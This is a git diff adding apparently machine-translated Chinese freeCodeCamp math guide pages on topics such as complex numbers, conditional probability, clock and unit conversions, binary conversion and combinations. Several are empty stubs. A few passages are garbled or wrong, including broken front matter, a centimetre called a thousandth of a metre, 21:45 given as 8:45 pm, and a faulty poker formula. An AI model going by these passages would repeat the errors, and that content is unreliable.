+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/complex-fractions/index.md b/client/src/guide/chinese/mathematics/complex-fractions/index.md
new file mode 100644
index 0000000000..605a8d4227
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/complex-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Complex Fractions
+localeTitle: 复杂的分数
+---
+## 复杂的分数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/complex-fractions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/complex-numbers-introduction/index.md b/client/src/guide/chinese/mathematics/complex-numbers-introduction/index.md
new file mode 100644
index 0000000000..55e9ad29fd
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/complex-numbers-introduction/index.md
@@ -0,0 +1,31 @@
+---
+title: Complex Numbers Introduction
+localeTitle: 复数引言
+---
+## 复数引言
+
+复数是可以以z = a + ib的形式表示的任何数字。
+
+![一世](https://www.codeproject.com/KB/cpp/882975/SquareRoot1.png)
+
+a被称为复数的实部，b被称为虚部。
+
+#### 注意
+
+纯虚数或纯实数也是复数。
+
+#### 例子
+
+1.  2i + 1的真正部分是什么？ A.实际部分：1
+    
+2.  2 - 4i的想象部分是什么？ A.虚构部分：-4
+    
+3.  这是一个复数z = 2i吗？ 答：是的，因为我们可以将此数字写为z = 0 + 2i。
+    
+4.  这是一个复数z = 4吗？ 答：是的，因为我们可以将此数字写为z = 4 + 0i。
+    
+
+#### 更多信息：
+
+*   [维基百科：复数](https://en.wikipedia.org/wiki/Complex_number)
+*   [更多信息](https://www.khanacademy.org/math/algebra2/introduction-to-complex-numbers-algebra-2/the-complex-numbers-algebra-2/a/intro-to-complex-numbers)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/composition-of-functions-composing-functions-with-functions/index.md b/client/src/guide/chinese/mathematics/composition-of-functions-composing-functions-with-functions/index.md
new file mode 100644
index 0000000000..7aa8b4c413
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/composition-of-functions-composing-functions-with-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Composition of Functions Composing Functions with Functions
+localeTitle: 用函数组成函数的函数的组合
+---
+## 用函数组成函数的函数的组合
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/composition-of-functions-composing-functions-with-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/composition-of-functions/index.md b/client/src/guide/chinese/mathematics/composition-of-functions/index.md
new file mode 100644
index 0000000000..253321a491
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/composition-of-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Composition of Functions
+localeTitle: 功能的组成
+---
+## 功能的组成
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/composition-of-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/compute-determinant-of-matrix-simulink/index.md b/client/src/guide/chinese/mathematics/compute-determinant-of-matrix-simulink/index.md
new file mode 100644
index 0000000000..adfe483fff
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/compute-determinant-of-matrix-simulink/index.md
@@ -0,0 +1,11 @@
+---
+title: Compute Determinant of Matrix Simulink
+localeTitle: 矩阵Simulink的计算行列式
+---
+## 矩阵Simulink的计算行列式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/compute-determinant-of-matrix-simulink/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/conditional-probability-with-bayes-theorem/index.md b/client/src/guide/chinese/mathematics/conditional-probability-with-bayes-theorem/index.md
new file mode 100644
index 0000000000..a75fc09071
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/conditional-probability-with-bayes-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Conditional Probability with Bayes Theorem
+localeTitle: 贝叶斯定理的条件概率
+---
+## 贝叶斯定理的条件概率
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/conditional-probability-with-bayes-theorem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/conditional-probability/index.md b/client/src/guide/chinese/mathematics/conditional-probability/index.md
new file mode 100644
index 0000000000..cbf354818d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/conditional-probability/index.md
@@ -0,0 +1,18 @@
+---
+title: Conditional Probability
+localeTitle: 条件概率
+---
+## 条件概率
+
+在某些其他事件已经发生的情况下，条件概率是事件的概率。因此，例如，事件**A**的条件概率是在事件**B**已经发生的情况下事件将发生的概率。该概率表示为`P(A|B)` 。
+
+给定事件**B**发生的事件**A**的条件概率写成如下：
+
+![条件概率公式](https://pbiswas101.files.wordpress.com/2018/10/conditional-probability.png?w=450) **只要P（B）> 0**
+
+**注** - 在事件**A**和**B**是独立的情况下（事件**B**对事件**A**的概率没有影响），给定事件**B**的事件**A**的条件概率仅仅是事件**A**的概率，即`P(A)` 。
+
+### 资源
+
+*   [条件概率 - 维基百科](https://en.wikipedia.org/wiki/Conditional_probability)
+*   [麻省理工学院开放式课件 - Youtube](https://www.youtube.com/watch?v=JGeTcRfKgBo)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/confidence-intervals/index.md b/client/src/guide/chinese/mathematics/confidence-intervals/index.md
new file mode 100644
index 0000000000..fd2efbac27
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/confidence-intervals/index.md
@@ -0,0 +1,11 @@
+---
+title: Confidence Intervals
+localeTitle: 置信区间
+---
+## 置信区间
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/confidence-intervals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/congruent/index.md b/client/src/guide/chinese/mathematics/congruent/index.md
new file mode 100644
index 0000000000..4956699178
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/congruent/index.md
@@ -0,0 +1,17 @@
+---
+title: Congruent
+localeTitle: 全等
+---
+## 全等
+
+一致性意味着，无论其位置或位置或方向如何，两个或更多几何图形具有相同的形状和大小。当两个或多个事物具有一致性时，它们被称为一致。
+
+导致一致数字的操作包括： 旋转 反映 翻译
+
+导致一致数字的操作不包括： 扩张
+
+有趣的是，通过一定比例的形状扩张形状将不会产生一致的形状。但形状相似并保持侧/角比。
+
+#### 更多信息：
+
+[这是](https://www.mathsisfun.com/geometry/congruent.html)有关生成全等形状的信息[的指南](https://www.mathsisfun.com/geometry/congruent.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/conics-hyperbolas-introduction/index.md b/client/src/guide/chinese/mathematics/conics-hyperbolas-introduction/index.md
new file mode 100644
index 0000000000..0423bb7e6b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/conics-hyperbolas-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Conics Hyperbolas Introduction
+localeTitle: Conics Hyperbolas简介
+---
+## Conics Hyperbolas简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/conics-hyperbolas-introduction/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/conics-parabolas-introduction/index.md b/client/src/guide/chinese/mathematics/conics-parabolas-introduction/index.md
new file mode 100644
index 0000000000..5655e008d6
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/conics-parabolas-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Conics Parabolas Introduction
+localeTitle: Conics Parabolas简介
+---
+## Conics Parabolas简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/conics-parabolas-introduction/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/constructing-a-box-plot/index.md b/client/src/guide/chinese/mathematics/constructing-a-box-plot/index.md
new file mode 100644
index 0000000000..697698c980
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/constructing-a-box-plot/index.md
@@ -0,0 +1,13 @@
+---
+title: Constructing a Box Plot
+localeTitle: 构建一个箱形图
+---
+## 构建一个箱形图
+
+箱形图（也称为盒须图）是单个变量的数据表示。当您有一组数字数据时，您可以找到中位数，最小值，最大值，上四分位数和下四分位数，并制作一个箱形图。你在一个数字线上面创建一个方框，其中一端在上下四分位数处，一条线位于中间位置。然后，您可以在最小值和最大值处创建线条，并将线条绘制到框的最近边缘。
+
+## 来源
+
+*   [Stapel，伊丽莎白。 “四分体，盒子和晶须。”四分体，盒子和晶须| Purplemath，Purplemath，2017](www.purplemath.com/modules/boxwhisk.htm)
+
+## 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/converse-inverse-contrapositive/index.md b/client/src/guide/chinese/mathematics/converse-inverse-contrapositive/index.md
new file mode 100644
index 0000000000..cf2713d54c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/converse-inverse-contrapositive/index.md
@@ -0,0 +1,5 @@
+
+tlocaleTitle: 逆逆对立
+itle：Converse Inverse Contrapositive
+
+在离散数学中，给出条件语句“if a，then b”，我们 可以有3个相关的陈述： 任何条件陈述由两部分组成： i）假设（“如果”）： ii）结论（“当时”）： “如果a，那么b”可以表示为： a→b 举一个例子：“如果没有学校，那就是周末。” p→q •要获得上述条件陈述的匡威，交换假设 - esis和结论。 q→p 因此，反过来说：“如果是周末，那么就没有学校。” •要获得上述条件语句的反转，请取消 假设和结论。 ¬p→¬q 因此，相反的是：“如果有学校，那就是工作日。” •要获得上述条件陈述的Contrapositive，交换 逆句的假设和结论。 ¬q→¬p 因此，对立面将是：“如果是工作日，那么就有学校。”
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/conversion-of-temperature-celsius-to-fahrenheit/index.md b/client/src/guide/chinese/mathematics/conversion-of-temperature-celsius-to-fahrenheit/index.md
new file mode 100644
index 0000000000..b9fc3326d5
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/conversion-of-temperature-celsius-to-fahrenheit/index.md
@@ -0,0 +1,19 @@
+---
+title: Conversion of Temperature Celsius to Fahrenheit
+localeTitle: 将温度摄氏温度转换为华氏温度
+---
+## 将温度摄氏温度转换为华氏温度
+
+以下公式提供从摄氏温度到华氏温度的转换：
+
+T 华氏度 = 摄氏度 \* 9/5 + 32
+
+因此，0℃= 32 华氏度和100℃= 212 华氏度 。
+
+从华氏温度到摄氏温度的转换如下：
+
+T 摄氏度 = 5/9 \*（ 华氏温度 - 32）
+
+#### 更多信息：
+
+[摄氏温度到华氏温度](http://www.rapidtables.com/convert/temperature/how-celsius-to-fahrenheit.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/convert-decimals-to-fractions/index.md b/client/src/guide/chinese/mathematics/convert-decimals-to-fractions/index.md
new file mode 100644
index 0000000000..a65c881fff
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/convert-decimals-to-fractions/index.md
@@ -0,0 +1,27 @@
+---
+title: Convert Decimals to Fractions
+localeTitle: 将小数转换为分数
+---
+## 将小数转换为分数
+
+1.  将十进制数写为十进制数/ 1
+2.  对于小数点后的每个否，将分子和分母乘以10。
+3.  简化分数直到它变得不可简化。
+
+## 例子
+
+### 例1
+
+将0.25转换为分数。
+
+0.25 / 1 - > 25/100 - > 5/20 - > 1/4
+
+最终答案是1/4，这是十进制的分数表示，没有0.25
+
+### 例如2
+
+将0.2转换为分数。
+
+0.2 / 1 ---> x100 = 20/100 = 2/10。
+
+![例子](http://m.mathblaster.com/Mathblaster/CoolMath/Article-Images/decimals-to-fractions-&-fractions-to-decimals.jpg)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/convert-fractions-to-percents/index.md b/client/src/guide/chinese/mathematics/convert-fractions-to-percents/index.md
new file mode 100644
index 0000000000..1c408d6138
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/convert-fractions-to-percents/index.md
@@ -0,0 +1,17 @@
+---
+title: Convert Fractions to Percents
+localeTitle: 将分数转换为百分比
+---
+## 将分数转换为百分比
+
+百分之一（1％）代表整体的百分之一。
+
+百分之百（100％）代表整体。
+
+要将分数转换为百分比，只需将其乘以整数（100％）即可。
+
+### 例子
+
+½×100％= 50％
+
+⅛×100％= 12.5％
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/convert-percents-to-fractions/index.md b/client/src/guide/chinese/mathematics/convert-percents-to-fractions/index.md
new file mode 100644
index 0000000000..22e215a44d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/convert-percents-to-fractions/index.md
@@ -0,0 +1,21 @@
+---
+title: Convert Percents to Fractions
+localeTitle: 将百分比转换为分数
+---
+## 将百分比转换为分数
+
+要将百分比转换为分数，请使用以下公式：
+
+#### `x % / 100`
+
+#### 例1
+
+ 25％=100分之25= 四分之一 
+
+#### 例2
+
+ 36％=100分之36=25 分之9 
+
+#### 例3
+
+ 100％= 100/100 = 1
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/converting-am-pm-to-24-hour-clock/index.md b/client/src/guide/chinese/mathematics/converting-am-pm-to-24-hour-clock/index.md
new file mode 100644
index 0000000000..665db1bc69
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/converting-am-pm-to-24-hour-clock/index.md
@@ -0,0 +1,64 @@
+---
+title: Converting AM/PM to 24 Hour Clock
+localeTitle: 将AM / PM转换为24小时制
+---
+## 将AM / PM转换为24小时制
+
+显示时间有两种主要方式：“12小时制”或“上午/下午”：24小时制。
+
+大多数国家更喜欢24小时时钟，但在拉丁美洲和英语国家，12小时时钟被广泛使用，其中每天两次是12:00，午夜和中午。要区分两者，可以分别添加am或pm。
+
+下表显示了12小时时钟系统和24小时时钟系统之间的转换。
+
+| 12小时制| 24小时制| | ------------- |：-------------：| |凌晨12:00 00:00 | | 01:00 AM | 01:00 | | 02:00 AM | 02:00 | | 03:00 AM | 03:00 | | 04:00 AM | 04:00 | | 05:00 AM | 05:00 | | 06:00 AM | 06:00 | | 07:00 AM | 07:00 | |上午08:00 | 08:00 | | 09:00 AM | 09:00 | |上午10:00 | 10:00 | |上午11:00 | 11:00 | |中午12:00 | 12:00 | | 01:00 PM | 13:00 | | 02:00 PM | 14:00 | | 03:00 PM | 15:00 | | 04:00 PM | 16:00 | | 05:00 PM | 17:00 | | 06:00 PM | 18:00 | | 07:00 PM | 19:00 | | 08:00 PM | 20:00 | | 09:00 PM | 21:00 | |晚上10点| 22:00 | |晚上11点| 23:00 |
+
+## 12小时制（上午/下午）
+
+这一天从午夜到中午（上午）分为12小时，从中午到午夜（下午时分）分为12小时。
+
+缩写“am和pm”来自拉丁语：
+
+*   am：Ante Meridiem =中午之前。
+*   pm：Post Meridiem =下午。
+
+## 24小时制
+
+这一天从午夜到午夜，分为24小时，从午夜过后的小时数，从0到23。
+
+## 将AM / PM转换为24小时制
+
+### 从当天的第一个小时（凌晨12:00（午夜）到凌晨12:59），减去12个小时。
+
+*   凌晨12:00 = 0:00
+*   凌晨12:15 = 0:15
+
+### 从凌晨1点到下午12点59分，保持不变。
+
+*   上午9:00 = 9:00
+*   下午12:59 = 12:59
+
+### 从下午1:00到晚上11:59，加12小时。
+
+*   下午3:17 = 15:17
+*   晚上11:59 = 23:59。
+
+## 将24小时制转换为上午/下午
+
+### 对于当天的第一个小时（0:00到0:59），添加12小时并添加“am”终止。
+
+*   0:30 = 12:30
+*   凌晨0:55 = 12:55
+
+### 从1:00到11:59，只需添加“am”终止。
+
+*   凌晨2:25 =凌晨2:25
+*   9:30 = 9:30 am
+
+### 从13:00到23:59，减去12小时，并添加“pm”终止。
+
+*   16:55 =下午4:55
+*   21:45 = 8:45 pm
+
+#### 更多信息：
+
+要阅读更多24小时制，您可以点击[维基百科](https://en.wikipedia.org/wiki/24-hour_clock)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/converting-between-radians-and-degrees/index.md b/client/src/guide/chinese/mathematics/converting-between-radians-and-degrees/index.md
new file mode 100644
index 0000000000..fae01673a7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/converting-between-radians-and-degrees/index.md
@@ -0,0 +1,31 @@
+---
+title: Converting Between Radians and Degrees
+localeTitle: 在弧度和度数之间转换
+---
+## 在弧度和度数之间转换
+
+### 通用配方
+
+以下公式可用于在弧度和度数之间进行转换：
+```
+r = d * (π / 180) 
+ 
+ d = r * (180 / π) 
+ 
+ where r is the angle in radians and d is the angle in degrees. 
+```
+
+### 例子
+
+将2π/ 3弧度转换为度数：
+```
+2π/3 * 180/π = 360π/3π = 360/3 = 120 degrees 
+```
+
+将30度转换为弧度：
+```
+30 * π/180 = 30π/180 = π/6 or (1/6)π radians 
+ 
+ Note: Radians are usually expressed in terms of π instead of a rounded decimal as this form represents the actual value rather than an approximation. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/converting-directly-from-binary-to-hexadecimal/index.md b/client/src/guide/chinese/mathematics/converting-directly-from-binary-to-hexadecimal/index.md
new file mode 100644
index 0000000000..867a15c81d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/converting-directly-from-binary-to-hexadecimal/index.md
@@ -0,0 +1,32 @@
+---
+title: Converting Directly from Binary to Hexadecimal
+localeTitle: 直接从二进制转换为十六进制
+---
+## 直接从二进制转换为十六进制
+
+您可以拆分二进制数以将其转换为十六进制数。
+
+### 一般方法
+
+1.  从右侧开始，将您的二进制数字串切成四个一组。
+2.  如果不是四位数，请在第一个数字的前面添加额外的零。
+3.  一次转换一个4位数组。
+
+您可以使用此转换表：
+
+冒号可用于对齐列。
+
+|二进制|十六进制| | ------ | ----------：| | 0000 | 0 | | 0001 | 1 | | 0010 | 2 | | 0011 | 3 | | 0100 | 4 | | 0101 | 5 | | 0110 | 6 | | 0111 | 7 | | 1000 | 8 | | 1001 | 9 | | 1010 | A | | 1011 | B | | 1100 | C | | 1101 | D | | 1110 | E | | 1111 | F |
+
+### 例
+
+将二进制数01101000000001转换为十六进制。
+```
+1. 01101000000001 => 01|1010|0000|0001 
+ 2. 01|1010|0000|0001 => 0001|1010|0000|0001 
+ 3. 0001|1010|0000|0001 => 1A01 
+```
+
+#### 更多信息：
+
+有关插图的更多信息，请[点击此处](https://www.wikihow.com/Convert-Binary-to-Hexadecimal#Converting_Long_Binary_Strings_sub)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/converting-from-decimal-to-binary/index.md b/client/src/guide/chinese/mathematics/converting-from-decimal-to-binary/index.md
new file mode 100644
index 0000000000..adc0ff8a98
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/converting-from-decimal-to-binary/index.md
@@ -0,0 +1,54 @@
+---
+title: Converting from Decimal to Binary
+localeTitle: 从十进制转换为二进制
+---
+## 从十进制转换为二进制
+
+您可以使用余数将十进制数转换为二进制数。
+
+### 一般方法
+
+1）将原始十进制数除以2并记录商和余数。 2）重复第一步，用你找到的最后一个商替换原始十进制数，直到得到一个等于0的商。 3）将你记录的最后一个余数作为你的MSB（最高位）和你记录的第一个余数作为你的LSB（最低有效位）。记下与生成它们的顺序相反的余数。
+
+### 例子
+
+将十进制数30转换为二进制数。
+```
+30 / 2 = 15 r 0 
+ 15 / 2 = 7 r 1 
+ 7 / 2 = 3 r 1 
+ 3 / 2 = 1 r 1 
+ 1 / 2 = 0 r 1 
+ 
+ Writing out the remainders bottom to top gives you the bit pattern: 
+ 
+ 11110 
+ 
+ Checking your answer by converting the binary number back to decimal: 
+ 
+ (1*2^4)+(1*2^3)+(1*2^2)+(1*2^1)+(0*2^0) = 30 
+ 
+ So your answer is correct. 
+```
+
+将十进制数116转换为二进制数。
+```
+116 / 2 = 58 r 0 
+ 58 / 2 = 29 r 0 
+ 29 / 2 = 14 r 1 
+ 14 / 2 = 7 r 0 
+ 7 / 2 = 3 r 1 
+ 3 / 2 = 1 r 1 
+ 1 / 2 = 0 r 1 
+ 
+ Writing out the remainders bottom to top gives you the bit pattern: 
+ 
+ 1110100 
+ 
+ Checking your answer by converting the binary number back to decimal: 
+ 
+ (1*2^6)+(1*2^5)+(1*2^4)+(0*2^3)+(1*2^2)+(0*2^1)+(0*2^0) = 116 
+ 
+ So your answer is correct. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/converting-pounds-to-ounces/index.md b/client/src/guide/chinese/mathematics/converting-pounds-to-ounces/index.md
new file mode 100644
index 0000000000..485c04795a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/converting-pounds-to-ounces/index.md
@@ -0,0 +1,13 @@
+---
+title: Converting Pounds to Ounces
+localeTitle: 将磅转换为盎司
+---
+## 将磅转换为盎司
+
+一磅（磅）等于16盎司（盎司）。要将磅转换为盎司，请将磅数乘以`16` 。
+
+### 例子
+
+重量为`6 lbs`东西重`96 oz` ，因为`16 X 6`是`96` 。
+
+`.5 lbs`转换为`8 oz`因为`.5 X 16 = 8` 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/converting-units-centimeters-to-meters/index.md b/client/src/guide/chinese/mathematics/converting-units-centimeters-to-meters/index.md
new file mode 100644
index 0000000000..30892ad552
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/converting-units-centimeters-to-meters/index.md
@@ -0,0 +1,50 @@
+---
+title: Converting Units Centimeters to Meters
+localeTitle: 将单位厘米转换为米
+---
+## 将单位厘米转换为米
+
+Centi-（符号c）是度量系统中的单位前缀，表示百分之一的因子
+
+意思是一个厘米是一百分之一米。 x cm = xm / 100
+
+例子 1厘米= 1米/ 100 = 0.01米 10厘米= 10米/ 100 = 0.1米 1.2厘米= 1.2米/ 100 = 0.012米
+
+根据定义， _一_厘米是_一_米的_一个千分之一_
+
+在下面的公式中，单位用括号\[\]表示
+```
+[cm] / 100 = [m] 
+```
+
+如果你输入你所拥有的值，比方说50厘米，它会像这样计算：
+```
+50[cm] / 100 = 0.5[m] 
+```
+
+计算结果返回0.5米的值，50厘米的米数。
+
+### 例子
+
+1.  1厘米= 0.01 M（1/100）
+2.  25厘米= 0.25米（25/100）
+3.  200厘米=2米（200/100）
+
+### 编码
+
+```js
+function convertCentimeterToMeter (cm) { 
+  return ( cm / 100 ); 
+ } 
+ 
+ // Set some example measurements 
+ var lengthInCm = 300; 
+ var lengthInM; 
+ 
+ lengthInM = convertCentimeterToMeter(lengthInCm); // 3 
+```
+
+### 更多信息：
+
+*   [将cm转换为m](https://www.convertunits.com/from/cm/to/m)
+*   [关于Centi的维基百科文章](https://en.wikipedia.org/wiki/Centi-)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/converting-units-minutes-to-hours/index.md b/client/src/guide/chinese/mathematics/converting-units-minutes-to-hours/index.md
new file mode 100644
index 0000000000..989b3a42c6
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/converting-units-minutes-to-hours/index.md
@@ -0,0 +1,29 @@
+---
+title: Converting Units Minutes to Hours		
+localeTitle: 将单位分钟转换为小时
+---
+## 将单位分钟转换为小时
+
+一分钟定义为六十分之一小时。因此，分钟和小时之间的转换由
+```
+t<sub>h</sub> = t<sub>min</sub> / 60 
+ 
+ t<sub>min</sub> = t<sub>h</sub> * 60 
+```
+
+其中t min是以分钟为单位的时间，t h是以小时为单位的时间。
+
+分钟和小时的时间符号分别为**min**和**h** （国际单位制，第8版， [第4章：SI以外的单位](https://www.bipm.org/utils/common/pdf/si_brochure_8_en.pdf) ）。
+
+### 例子
+
+从分钟转换为以小时为单位的时间：
+```
+90 minutes = (90 / 60) hours = 1.5 hours 
+```
+
+以小时为单位转换为以分钟为单位的时间：
+```
+24 hours = (24 * 60) minutes = 1440 minutes 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/correlation/index.md b/client/src/guide/chinese/mathematics/correlation/index.md
new file mode 100644
index 0000000000..fcf5e83221
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/correlation/index.md
@@ -0,0 +1,9 @@
+---
+title: Correlation
+localeTitle: 关联
+---
+## 关联
+
+相关性意味着一件事与另一件事发生了变化。 如果A和B之间存在正相关，则随着A的增加，B增加。 如果存在负相关，则随着A增加，B减小（或反之）。 如果没有相关性，则A不影响B，反之亦然。
+
+![相关性](http://www.statisticshowto.com/wp-content/uploads/2012/10/pearson-2-small.png)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/coterminal-angles/index.md b/client/src/guide/chinese/mathematics/coterminal-angles/index.md
new file mode 100644
index 0000000000..be9e6daf50
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/coterminal-angles/index.md
@@ -0,0 +1,11 @@
+---
+title: Coterminal Angles
+localeTitle: Coterminal Angles
+---
+## Coterminal Angles
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/coterminal-angles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/counting/combinations/index.md b/client/src/guide/chinese/mathematics/counting/combinations/index.md
new file mode 100644
index 0000000000..cbb5d55ceb
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/counting/combinations/index.md
@@ -0,0 +1,38 @@
+---
+title: Combinations
+localeTitle: 组合
+---
+## 组合
+
+组合是从集合中选择的项目，其中选择的顺序无关紧要。更正式地说：
+
+> 集合S的k-组合是S的k个不同元素的子集。如果集合具有n个元素，则k-组合的数量等于[二项式系数](https://guide.freecodecamp.org/mathematics/counting/factorials-and-binomial-coefficients/) 1
+
+![alt text](https://wikimedia.org/api/rest_v1/media/math/render/svg/08bdf0fff474c26293414f9eb01ab4bc73ef941f "二项式系数")
+
+或者如果您更喜欢使用[阶乘](https://guide.freecodecamp.org/mathematics/counting/factorials-and-binomial-coefficients/) ：
+
+![alt text](https://wikimedia.org/api/rest_v1/media/math/render/svg/813f7124a61dac205542db3f8491b36cb306453a "阶乘")
+
+组合指的是一次取k **而不**重复的n个事物的组合。为了引用允许重复的组合，经常使用术语k-选择或k-组合与重复，我们使用以下公式：
+
+![alt text](https://wikimedia.org/api/rest_v1/media/math/render/svg/6c73b231f2fbfa42d5e10c310d8c3f5022d9ceb0 "二项式系数")
+
+## 一些例子：
+
+当您想要解决如下组合的组合问题时，组合非常有用：
+```
+Compute the probability to obtain a poker from 
+ a standard fifty-two card deck drawing 5 cards 
+ at the same time 
+```
+
+为了解决这个简单的问题，您需要使用组合计算5张牌的数量：
+
+![alt text](https://latex.codecogs.com/gif.latex?%5Cfrac%7B13%5Cbinom%7B52%7D%7B4%7D%5Cbinom%7B48%7D%7B1%7D%7D%7B%5Cbinom%7B52%7D%7B5%7D%7D "扑克问题")
+
+记住这一点![alt text](https://latex.codecogs.com/gif.latex?%5Cbinom%7B48%7D%7B1%7D "48对1")根据二项式系数定义，等于48。
+
+### 来源
+
+1 [维基百科组合条目](https://en.wikipedia.org/wiki/Combination)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/counting/factorials-and-binomial-coefficients/index.md b/client/src/guide/chinese/mathematics/counting/factorials-and-binomial-coefficients/index.md
new file mode 100644
index 0000000000..63636dcefb
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/counting/factorials-and-binomial-coefficients/index.md
@@ -0,0 +1,11 @@
+---
+title: Factorials and Binomial Coefficients
+localeTitle: 因子和二项式系数
+---
+## 因子和二项式系数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/factorials-and-binomial-coefficients/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/counting/inclusion-exclusion-principle/index.md b/client/src/guide/chinese/mathematics/counting/inclusion-exclusion-principle/index.md
new file mode 100644
index 0000000000..01af06fd44
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/counting/inclusion-exclusion-principle/index.md
@@ -0,0 +1,11 @@
+---
+title: Inclusion Exclusion Principle
+localeTitle: 包含排除原则
+---
+## 包含排除原则
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/inclusion-exclusion-principle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
